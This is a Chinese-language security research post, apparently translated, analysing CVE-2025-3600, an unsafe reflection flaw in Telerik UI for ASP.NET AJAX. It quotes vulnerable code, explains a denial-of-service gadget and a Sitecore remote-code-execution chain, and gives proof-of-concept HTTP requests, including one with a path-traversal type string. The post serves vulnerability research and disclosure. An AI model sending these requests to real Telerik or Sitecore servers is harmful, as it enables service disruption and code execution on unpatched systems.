Telerik UI漏洞深度解析:从DoS到RCE的CVE-2025-3600

本文深入分析了Progress Telerik UI for ASP.NET AJAX中的不安全反射漏洞CVE-2025-3600,详细介绍了其从拒绝服务到远程代码执行的技术原理和攻击向量,并提供了在Sitecore平台中的实际利用案例。

不仅仅是DoS:Telerik UI for ASP.NET AJAX不安全反射漏洞分析

欢迎回来。今天我们分析的是CVE-2025-3600——Progress Telerik UI for ASP.NET AJAX中的一个不安全反射漏洞。该漏洞最初被归类为拒绝服务漏洞,但我们的研究表明,在某些环境下它能够实现远程代码执行。

漏洞背景

Telerik UI for ASP.NET AJAX库在全球数百万环境中使用,出现在众多企业级解决方案中。该库有一个有趣的安全漏洞历史,包括CVE-2017-9248和CVE-2019-18935等知名漏洞。

根本原因分析

漏洞源于Telerik.Web.UI.ImageEditor.ImageEditorCacheHandler类,可通过以下请求访问:

1
GET /Telerik.Web.UI.WebResource.axd?type=iec

关键代码分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public void ProcessRequest(HttpContext context)
{
    string text = context.Request["dkey"];
    // ...
    if (this.IsDownloadedFromImageProvider(text)) // [1]
    {
        ICacheImageProvider imageProvider = this.GetImageProvider(context); // [2]
        // ...
    }
}

在[1]处,代码检查dkey查询字符串参数是否为1。如果是,将执行GetImageProvider方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
private ICacheImageProvider GetImageProvider(HttpContext context)
{
    ICacheImageProvider cacheImageProvider;
    if (!string.IsNullOrEmpty(context.Request["prtype"]))
    {
        cacheImageProvider = RadImageEditor.InitCacheImageProvider(
            RadImageEditor.GetICacheImageProviderType(context.Request["prtype"])); // [1]
    }
    // ...
}

在[1]处,攻击者控制的prtype参数被传递给Type.GetType方法,然后传递给RadImageEditor.InitCacheImageProvider

1
2
3
4
protected internal static ICacheImageProvider InitCacheImageProvider(Type cacheImageProvider)
{
    return (ICacheImageProvider)Activator.CreateInstance(cacheImageProvider);
}

这里通过给定类型(攻击者控制)的公共无参数构造函数初始化对象。虽然之后会将其转换为ICacheImageProvider接口,但对象已经被实例化。

拒绝服务攻击向量

利用.NET Framework中的System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper小工具,可以导致拒绝服务条件。该小工具有一个公共无参数构造函数:

1
2
3
public WSManPluginManagedEntryInstanceWrapper()
{
}

当垃圾收集器最终收集对象时,会调用终结器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
~WSManPluginManagedEntryInstanceWrapper()
{
    this.Dispose(false);
}
    
private void Dispose(bool disposing)
{
    if (this.disposed)
    {
        return;
    }
    this.initDelegateHandle.Free(); // [1]
    this.disposed = true;
}

在[1]处,代码尝试释放未初始化的句柄,导致未处理异常和DoS条件。

超越DoS:六种攻击向量

攻击向量1:无参数构造函数处理攻击者输入

即使构造函数不接受参数,也可以访问处理攻击者控制数据的代码路径,例如查询字符串参数、HTTP请求体、Cookie和头部。

攻击向量2:无参数构造函数执行文件操作

应用程序经常执行有问题的文件操作,使用硬编码路径或从配置派生的位置。无参数构造函数有时会反序列化文件、加载配置blob等。

攻击向量3:无参数构造函数执行应用程序特定操作

构造函数可能实现特定操作,如将应用程序重置为初始化状态、启用默认禁用的模块/设置、终止当前进程等。

攻击向量4:无参数构造函数扩展AppDomain事件处理

无参数构造函数有时会注册自定义程序集解析器或以其他方式将处理程序附加到AppDomain事件,创建可被滥用的持久执行表面。

攻击向量5:触发程序集解析事件

CVE-2025-3600可用于触发程序集解析事件,因为漏洞利用使我们可以控制传递给Type.GetType的类型字符串。

攻击向量6:终结器执行文件删除以进行本地权限提升

我们有时会观察到从硬编码位置删除文件的终结器。如果这些位置是全球可写的,该行为可以启用链接跟随和本地权限提升。

Sitecore CMS中的预认证RCE链

在Sitecore体验平台中,CVE-2025-3600可以成为更大链中缺失的预认证或后认证环节。

Sitecore易受攻击的程序集解析器

我们在Sitecore.Web.UI.XmlControls.ControlFactory类中发现了一个相关的构造函数:

1
2
3
4
static ControlFactory()
{
    ControlFactory.ReadConfigSettings();
}

代码流最终导致Sitecore.Web.UI.XmlControls.FolderControlSource构造函数:

1
2
3
4
5
6
7
8
9
internal FolderControlSource(string @namespace, string prefix, string folder, bool deep) : base(@namespace, prefix)
{
    this.m_folder = FileUtil.MapPath(folder).ToLowerInvariant();
    this.m_deep = deep;
    this.ResetControls();
    this.InitFolderWatcher(deep);
    this.ScanFiles();
    AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(this.AssemblyResolve); // [1]
}

在[1]处,构造函数通过将类的AssemblyResolve方法附加到AppDomain程序集解析事件来注册自己的程序集解析器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
private Assembly AssemblyResolve(object sender, ResolveEventArgs args)
{
    string text = args.Name.Split(new char[]{','})[0]; // [1]
    string debugFolder = this.GetDebugFolder(); // [2]
    if (debugFolder != null)
    {
        string text2 = text + ".dll"; // [3]
        string text3 = Path.Combine(debugFolder, text2); // [4]
        if (File.Exists(text3))
        {
            return Assembly.LoadFile(text3); // [5]
        }
    }
    return null;
}

在[4]处存在路径遍历漏洞。潜在攻击者可控的DLL名称未经过清理,用于附加DLL加载路径!

触发程序集解析器

现在我们已经注册了不安全的程序集解析器并且DLL存在于磁盘上,最后一步是触发运行时调用解析器,以便它将尝试加载攻击者提供的程序集。

CVE-2025-3600进入聊天。我们可以自由使用它来尝试加载一些不存在的类,这将触发解析器:

1
GET /Telerik.Web.UI.WebResource.axd?type=iec&dtype=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

总结

我们展示了CVE-2025-3600,这是Telerik UI for ASP.NET AJAX中的一个不安全反射漏洞,该库嵌入在生态系统中的大量应用程序中。默认情况下,此漏洞可用于在使用受影响Telerik UI版本的任何应用程序中导致拒绝服务。

根据目标代码库(例如,存在特定的无参数构造函数、终结器或不安全的程序集解析器),影响可能升级到远程代码执行。为了说明这种风险,我们展示了CVE-2025-3600如何在Sitecore体验平台中形成RCE链中的一个环节。

该漏洞影响从2011.2.712到2025.1.218的Telerik UI for ASP.NET AJAX版本。这是一个广泛的时间窗口,现实世界中的修补一直很慢:在修复发布几个月后,我们已经发现企业产品仍在运行易受攻击的版本。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计